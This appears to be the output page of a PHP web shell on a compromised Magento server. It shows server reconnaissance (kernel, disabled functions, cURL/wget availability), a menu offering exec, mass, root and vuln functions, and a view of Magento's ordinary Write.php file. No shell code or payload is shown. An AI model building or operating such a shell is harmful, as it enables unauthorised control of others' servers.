Kernel : Linux vmi616275.contaboserver.net 5.4.0-84-generic #94-Ubuntu SMP Thu Aug 26 20:27:37 UTC 2021 x86_64
Disable function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Safe mode : OFF
Host : diestoffstrasse.com | Server ip : 127.0.0.1 | Your ip : 127.0.0.1 | Time @ Server : 24 Aug 2025 08:02:53
MySQL : OFF | MSSQL : OFF | cURL : ON | Oracle : OFF | wget : ON | Perl : ON

/home/dev2.destoffenstraat.com/vendor-1/magento/framework/Filesystem/File/

HOME about upload exec mass file domain root vuln newfile newfolder kill me

File Path : /home/dev2.destoffenstraat.com/vendor-1/magento/framework/Filesystem/File/Write.php

<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Framework\Filesystem\File; use Magento\Framework\Filesystem\DriverInterface; use Magento\Framework\Exception\FileSystemException; class Write extends Read implements WriteInterface { /** * Constructor * * @param string $path * @param DriverInterface $driver * @param string $mode */ public function __construct($path, DriverInterface $driver, $mode) { $this->mode = $mode; parent::__construct($path, $driver); } /** * Assert file existence for proper mode * * @return void * @throws \Magento\Framework\Exception\FileSystemException */ protected function assertValid() { $fileExists = $this->driver->isExists($this->path); if (!$fileExists && preg_match('/r/', $this->mode)) { throw new FileSystemException( new \Magento\Framework\Phrase('The "%1" file doesn\'t exist.', [$this->path]) ); } elseif ($fileExists && preg_match('/x/', $this->mode)) { throw new FileSystemException(new \Magento\Framework\Phrase('The file "%1" already exists', [$this->path])); } } /** * Writes the data to file. * * @param string $data * @return int * @throws FileSystemException */ public function write($data) { try { return $this->driver->fileWrite($this->resource, $data); } catch (FileSystemException $e) { throw new FileSystemException( new \Magento\Framework\Phrase('Cannot write to the "%1" file. %2', [$this->path, $e->getMessage()]) ); } } /** * Writes one CSV row to the file. * * @param array $data * @param string $delimiter * @param string $enclosure * @return int * @throws FileSystemException */ public function writeCsv(array $data, $delimiter = ',', $enclosure = '"') { try { return $this->driver->filePutCsv($this->resource, $data, $delimiter, $enclosure); } catch (FileSystemException $e) { throw new FileSystemException( new \Magento\Framework\Phrase('Cannot write to the "%1" file. %2', [$this->path, $e->getMessage()]) ); } } /** * Flushes the output. * * @return bool * @throws FileSystemException */ public function flush() { try { return $this->driver->fileFlush($this->resource); } catch (FileSystemException $e) { throw new FileSystemException( new \Magento\Framework\Phrase('Cannot flush the "%1" file. %2', [$this->path, $e->getMessage()]) ); } } /** * Portable advisory file locking * * @param int $lockMode * @return bool */ public function lock($lockMode = \LOCK_EX) { return $this->driver->fileLock($this->resource, $lockMode); } /** * File unlocking * * @return bool */ public function unlock() { return $this->driver->fileUnlock($this->resource); } }